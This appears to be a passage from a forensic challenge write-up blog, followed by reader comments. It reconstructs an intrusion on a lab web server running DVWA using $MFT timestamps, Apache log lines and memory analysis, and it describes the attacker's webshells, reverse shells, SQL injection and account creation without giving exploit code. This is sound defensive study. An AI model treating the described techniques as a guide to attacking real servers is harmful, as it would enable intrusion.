    After reviewing the c99.php activity that was seen both in both the Apache access.log and the administrator's NTUSER.dat registry hive, I wanted to know when the file first existed on disk. This would help add context to the main question here - "what software was installed on the box, was it done by the attacker?". I first tried to find the master file table ($MFT) activity in my timeline, but it wasn't as clear as I wanted in that I couldn't find a clear creation time for c99.php. After copying off the $MFT file from the root of my mounted Windows drive, I used David Kovar's AnalyzeMFT, as it's my go to $MFT parser for standalone duties. I had a Windows ported PE32 copy handy and my syntax looked like this:


    C:\tools\MFT\analyzeMFT-V1-7-x86.exe -f "D:\Challenges\binaryzone_9-16-15\host image\$MFT" -o "D:\Challenges\binaryzone_9-16-15\host image\MFT.csv"

    $MFT Entry for C99.php

    The actual creation time (FN creation) is June 9 2012 at 5:57 PM (GMT). I always look at the FN attribute as it's a timestamp that is not easy to timestomp like he SI timestamp attributes are.
    Our last modified time is Sep 3 2015 at 3:20 AM (GMT) which is inline with what we knew from our earlier timeline analysis and our attacker adding their "Owned by hacker" insignia in c99.php. On that same sentiment, I checked the $MFT for the /xampp and /xampp/htdocs/DVWA as they both housed vulnerable applications leveraged by the attacker like Apache (httpd.exe) and some of the DVWA php webshells.

    The /xampp folder was created on Aug 23 2015 at 10:41 PM (UTC) and the /xampp/htdocs/DVWA folder was created on Aug 23 2015 at 10:52 PM (UTC). Walking backwards through the disk timeline yielded no additional signs of attacker activity. The administrator account appeared not to be compromised on Aug 23 2015 and could be seen on the box a minute before the /xamp folder's creation; DVWA was also installed over approximately the next 15 minutes. To answer the question itself "...was it done by the attacker?", my answer is no, it was not.

    Finally I wanted to pivot back to the 9/2 attacker account creation. I checked the access.log file and found attacker activity on that date and time against the page. Similar to the attacker's addition of the "data.txt" file discussed earlier we see HTTP POST activity and interaction with the "exec" resource which provides reverse shell access to the victim.

     192.168.56.102 - - [02/Sep/2015:01:59:52 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4934 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:02:33 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4934 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:03:18 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4934 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:04:36 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4934 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:05:22 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4971 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:19:21 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4971 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:25:04 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4840 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0" 

    Q4 answers: What software has been installed on the box, and were they installed by the attacker(s) or not?

    Damn Vulnerable Web Application (DVWA) was installed on the victim webserver. It does not appear to have been installed by the attacker.

    Question 5:Using memory forensics, can you identify the type of shellcode used?


    I was unable to find anything that confirmed shellcode was used in memory. I leveraged Volatility's malfind plugin and also used multiple Yara shellcode signatures across memory searching for known opcode instructions associated with shellcode usage. 

    Question 6: What is the timeline analysis for all events that happened on the box?

    • The /xampp folder was created on Aug 23 2015 at 10:41 PM (UTC) 
    • The /xampp/htdocs/DVWA folder and application was created on Aug 23 2015 at 10:52 PM (UTC). 
    • The attacker created the user account "user1" on Sep 2 2015 at 09:05:06 AM (UTC)
    • The attacker created the user account "hacker" on Sep 2 2015 at 09:05:25 AM (UTC)
    • The attacker added a file "data.txt" at the location C:\Documents and Settings\Administrator\ which contained the text "hello" on Sep 2 2015 at 9:32 AM UTC
    • Between Sep 2 2015 6:59 AM UTC and 7:24 AM UTC the attacker used the reverse Windows command shell index.php (which housed 3 seperate reverse shells) to interact with the victim webserver.
    • The attacker had command line interaction from the IP address 192.168.56.102 with the webshell "phpshell.php" starting on Sep 3 2015 at 07:16 AM (GMT). The Windows commands "dir", "dir C:\" and "mkdir abc"were successfully issued.
    • The attacker added the "Owned by Hacker" to c99.php using WordPAD on September 3 2015 07:20 PM (UTC).
    • A webshell that provided a reverse shell was established which allowed for an attacker to run arbitrary commands on the victim webserver. This was performed with the "administrator" account on the webserver.
    • The Apache access.log log file shows successful SQL Injection activity from the IP 192.168.56.102 on Sep 3 2015 at 6:52 AM (UTC) and what appears to be a successful upload of tmpudvfh.php
    • The attacker created the directory "abc" at the location /xampp/htdocs/DVWA/hackable/uploads/ on Sep 3 2015 7:17 AM (UTC)

    Question 7: What is your hypothesis for the case, and what is your approach in solving it?

    My hypothesis for the case was that attacker primarily leveraged the DVWA to both upload webshells, create new user accounts and leverage a reverse shell on the victim host, which occurred between September 2nd and 3rd 2015. My approach was to discover and analyze attacker activity, painting the picture of what the attacker did. I also focused on understanding if the attacker installed DVWA or if it was previously installed on the victim webserver.

    Question 8: Is there anything else you would like to add?

    I have nothing else to add technically. I felt this was a solid challenge and really enjoyed working on it.

    Question 9: What are the directories and files that have been added by the attacker(s). List all with proof.

    I don't have anything else to add for this question that I didn't already mention in the blog.



    13 comments:

    1. Hi Jared,

      Thanks for this great writeup! I'm just starting to read Art of Memory Forensics and I know I'll be coming back to this post to practice these things.

      Did you "decode" the hex under Question 3 using a specific tool or did you just do it manually? If you used a tool, which one? Is there a way to feed similar evidence into that tool for parsing?

      Thanks again for the run down of your process. Looking forward to hearing more!

      ReplyDelete
    2. Hey Nick, appreciate the feedback and that you took the time to read it. AOMF is a fantastic book written by great people.

      For hex decoding there are lots of options. For a quick web based solution I like http://www.asciitohex.com/

      ReplyDelete
    3. Hi Jared,
      First, I don't think this blog would be "Just Another DFIR Blog", as this post clearly shows the skill level you have! (Added to my RSS)

      Then, honestly not only did your solution provide answers to most (if not all) questions, but I enjoyed imagining you explaining what happened just like how Sherlock Holmes explains how the crime happened, how each step was done, and how he discovered each one of them :D

      Thank you so much for participating and writing one of the best reports if not the best until now about this challenge.

      Keep these goodies coming.

      B!n@ry

      ReplyDelete
    4. Very good, Congratulations Jared Greenhill

      ReplyDelete
    5. Thanks for the write up, very informative. Question: In question 2, how did you parse the binary dmp file you converted to process strings. Did you manually look through the file, or was there a different method used?

      ReplyDelete
    6. Thanks for the reading and the comment. Once Volatility dumps a process, it's just a text output (.dmp). I did a quick eyeball of it (cat 1108.dmp | head) to confirm. From there I ran the strings commands against it.

      Hope this helps.

      ReplyDelete
    7. Hi Jared,

      You can use the tools NAFT developed by didier stevens and certainly naft-gfe to extract a pcap from the memory. It's was very useful to this because you can extract the POST data if the network traffic is not encrypted.

      ReplyDelete
    8. Hey Chak,

      I'll have to try that out. I appreciate the share!

      ReplyDelete
    9. The challenge page is down replaced with Arabic that translates to it being unable to connect to the database. Guess it got popped or just needs a bump.

      ReplyDelete
    10. I just checked and it appears to be up.

      ReplyDelete
    11. Using this link, I see Arabic on the challenge page. http://www.binary-zone.com/2015/09/16/digital-forensic-challenge-4/

      ReplyDelete